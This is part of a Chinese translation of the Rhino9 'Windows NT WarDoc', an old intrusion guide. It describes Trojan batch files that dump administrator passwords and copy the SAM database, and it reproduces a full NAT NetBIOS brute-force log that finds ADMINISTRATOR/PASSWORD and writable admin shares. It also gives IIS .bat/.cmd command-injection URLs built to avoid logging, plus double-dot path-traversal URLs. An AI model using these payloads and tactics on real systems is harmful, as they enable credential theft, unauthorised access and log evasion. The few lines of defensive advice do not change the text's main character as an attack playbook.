windows nt wardoc中文译本四

/ns/wz/sys/data/20010129103635.htm

WINDOWS NT WARDOC中文译本(四)

“游戏”规则:目标必须是NT主机,执行特洛伊木马程序的最终用户必须是管理员,
这样,攻击者就能把批处理文件放在管理员启动文件夹中,开始等待。当下一次管理员登 录到机器上时,批处理文件就执行和转储用户名/口令。然后,攻击者就会通过文件共享 连接到该机器上并收集结果。
入侵者可能尝试的另一个可靠的攻击方法是把按键记录器批处理文件放到启动文件夹
中。这种方法可适用于任何用户,不仅仅是管理员。这样即可收集所有该用户发出的按键 信息,但没有最初的登录身份资料(这是NT的结构所致,它会在登录过程中终止所有用户方式进程)。然后,攻击者就可以连接到目标机上并收集记录下的按键信息。
最致命的特洛伊木马攻击之一就是一个以管理员的身份运行并采用AT命令建立预定事
件的批处理文件。因为AT命令能作为系统运行,所以,它能生成SAM数据库和注册表的拷贝。可以想象得出攻击者采用这种方法时会享受到多么大的乐趣。
如何防止此类攻击呢?不要把文件共享给Everyone群组,并在您的环境中加强口令机
制。如果入侵者遇到一台每次都要向他提示输入身份证明信息的服务器,入侵者就会变得灰心丧气,随即离开。不过,有耐心的入侵者会继续进行Brute Force攻击。
无庸置疑,Brute Force NetBIOS攻击最常用的工具是NAT。NAT(NetBIOS检查工具)
工具让用户能够通过可能的用户名/口令列表使网络连接命令自动操作。NAT将通过所提供的列表中的每一个用户名和每一个口令试着连接到远程机上。这是一个很漫长的过程,但攻击者往往会使用一个常见口令的缩短列表。
一个成功的入侵者会通过上述信息收集方法建立他自己的用户名列表。入侵者准备使
用的口令列表也是通过收集到的信息建立的。他们通常从不充实的口令列表开始,然后根 据用户名建立其余的口令列表。这对于那些能找到给用户名设置的口令的安全专业人士来说完全是意料之中的事。
攻击者可以指定一个要攻击的IP地址,也可以指定整个范围内的IP地址。NAT会尽力
完成这项任务,并一直生成格式化报告。

下面是通过internet进行真正NAT攻击的实际结果文件。尽管Rhino9小组在进行这一
攻击时获得准许,但为了保护测试目标还是更改了IP地址。
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt
[*]--- Checking host: 0.0.0.0
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Tue Oct 14 11:33:46 1997
[*]--- Timezone is UTC-4.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINIS
TRATOR'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWOR
D'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
[*]--- Obtained listing of shares:
共享名类型注释
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
[*]--- This machine has a browse list:
服务器注释
AENEMA
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- WARNING: Able to access share: \\*SMBSERVER\D$
[*]--- Checking write access in: \\*SMBSERVER\D$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\D$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\D$
[*]--- Attempting to access share: \\*SMBSERVER\E$
[*]--- WARNING: Able to access share: \\*SMBSERVER\E$
[*]--- Checking write access in: \\*SMBSERVER\E$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\E$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\E$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\print$
[*]--- WARNING: Able to access share: \\*SMBSERVER\print$
[*]--- Checking write access in: \\*SMBSERVER\print$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\print$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\print$
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
如果您仔细地查看这些结果,就能找到向攻击者通知该工具已经发现有效用户名/口
令的CONNECTED消息。这时,入侵者只需通过新发现的用户名/口令重新连接到那台机器
继而进行攻击。 对通过NetBIOS进行远程渗透的探讨到此为止。请记住,上面所讨论的各种方法既不 是静态的,也不是独立的。那些花费大量时间对如何渗透基于NT的网络进行研究的入侵者很富有创造力,他们不仅利用上述各种方法,而且在使用过程中把这些方法个性化。




通过Web服务器进行的信息收集与渗透
==============================================================================
目前,通过Web服务器进行的信息收集与远程渗透因internet上的人口爆炸以及因此
而导致的信息分布已经是众所周知。在讨论NT Web服务器上的远程渗透和信息收集时,我 们将把重点放在与NT 4.0捆绑在一起的Web服务器――Internet信息服务器上。
尽管有一些要探讨的问题确实过时了,但我们在这里之所以涉及到这些内容,是因为
Rhino9小组在专业检查中发现有些公司在他们的生产环境中仍然运行比较旧的软件版本。 我们从信息收集方法开始谈起。我们将讨论在攻击过程中收集信息的各种方法以及通 过Web服务器获得能在其它类型的攻击中利用的信息。
首先,我们将探讨如何检索目标机上的Web服务器软件包和版本。一些对安全性知识
一无所知的人可能会感到惊讶,为什么会有人想了解目标机的Web服务器版本?软件的不 同版本都具有不同的脆弱性。因此,入侵者希望了解这些Web服务器软件和版本。
用来获取Web服务器软件和版本的最老练的方法是telnet到HTTP端口上的目标主机。
一旦建立了telnet连接,只需发出一个简单的GET命令就能查看到HTTP标题信息,这些信 息包括正被使用的Web服务器软件和版本。
不喜欢使用远程登录或不希望通过标题信息解析的人会尝试着使用好几种方法。第一
个也可能是非成功入侵者中最常用的工具是Netcraft。入侵者可以访问www.netcraft.com
并通过他们的查询引擎从远程目标检索Web服务器信息。Netcraft还可以用来检索所有已知的Web服务器主机名。例如,如果我们想找到属于someserver.com域的所有Web服务器,就可以用Netcraft的引擎来查询*.someserver.com,接着它会返回一个该域中所有Web服务器主机的列表。其它能用来检索Web服务器版本的工具包括1nf0ze(Suld)和Grinder
(Rhino9的horizon)(所有这些工具的URLs见本文结尾处)。
一旦入侵者确定他所接近的是什么样的Web服务器包,即可拟订攻击计划。
注:这一节仅仅对一些较常见的攻击进行介绍。


要涉及到的第一个攻击是.bat/.cmd缺陷。由于这个缺陷已被公开证实,因此我们引
用如下(作者未知。如果其作者有机会阅读本文,请马上通知我们,以便于及时向作者支付稿酬)。
.bat和.cmd BUG是Netscape服务器中一个众所周知的bug,其描述见WWW安全性常见问
题解答第59个问题。我们对如何在Internet信息服务器中实现这个bug已经介绍过多次。
现在我们来看一看IIS Web服务器的初次安装,其中所有的设定都是默认的:
1) CGI目录是/scripts
2) 在/scripts目录下没有abracadabra.bat或abracadabra.cmd文件。
3) IIS Web服务器把.bat和.cmd扩展名映射到cmd.exe。
因此,注册表关键字
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC
\Parameters\ScriptMap有以下字符串:
a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time
同时会发生下列情况:
1) 浏览器询问您想怎样保存一个文档。Notepad.exe或其它阅读器适用于这一“类
型”的应用。
2) 浏览器开始下载对话。屏幕上出现下载窗口。
3) 黑客点击下载窗口上的“取消”按钮,因为服务器上的"time"命令永远不会终
止。
4) IIS Web服务器不会在服务器端记录任何信息,因为执行进程没有成功地终止!
!!(幸亏采用了"time"命令。)想了解究竟发生了什么事情的唯一方法是检查所有的NT安全记录。但是,这些记录不包含象REMOTE_IP这样的信息。因此,黑客的机器是完全匿名的。



我们再重新开始:

1) IIS Web服务器允许黑客通过输入
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN来执行他的
“批处理文件”。在Netscape服务器中,只能执行单一命令。
2) 在/scripts目录下没有abracadabra.bat文件,但.bat扩展名被映射到
C:\WINNT35\System32\cmd.exe。在Netscape服务器中,实际的.bat文件必须存在。
3) 在黑客输入象"time"或"date"这样的命令作为COMMAND[N]时,IIS Web服务器不
会记录任何信息。在Netscape服务器上,错误记录会有一个关于远程IP和您试着执行的命令的记录。

如果您不能正确地掌握这种情况下所发生的一切,入侵者就会采用以上攻击顺序在服
务器端生成文件并予以执行。根据攻击者的技术水平和意图,其行为会产生不同的效果
幸运的是,大多数工作环境已经不再运行旧得足以受这些缺陷影响的Internet信息服务器版本。

在对bat/cmd缺陷进行彻底调查和证明之后不久,另一个bug又震惊了业界。同样幸运
的是,这个缺陷也仅仅对旧版本的IIS造成影响。这个被称为”double dot bug”的缺陷使Web站点的访问者能够从允许访问的web根目录下逃脱并浏览或下载文件。很显然,最终服务器会包含不在指定Web根目录下的敏感信息,而这个简单的缺陷会为外来者访问这些敏感信息提供机会。这个命令是作为URL执行的,其结构如下:

http://www.someserver.com/..\..

当double dot bug不够用时,不久之后就出现了这个缺陷的另一个变体。这个新发现
的缺陷使入侵者能够执行目标机上的脚本文件。由于这个新缺陷是double dot bug的一个变体,因此,这些脚本文件都不在web根目录下。这种攻击也是作为URL执行的,其结构如下:

http://www.someserver.com/scripts..\..\scriptname

Internet信息服务器的WindowsNT安装需要一些用于公共访问身份认证的帐户。如果
这些帐户没有以任何方式出现,那么,每一个访问站点的访问者都要提供身份信息。这并不是一个提供公用Web站点的非常有效的方法。在Internet信息服务器上,要使用的帐户是IUSR_account。这个帐户及其口令都是在安装过程中生成的。根据默认值,该帐户是Everyone群组的一个成员,而且,Everyone群组对NT驱动器上的所有信息具有只读访问权限。这些方法与上述的缺陷相结合就会造成巨大的安全性破坏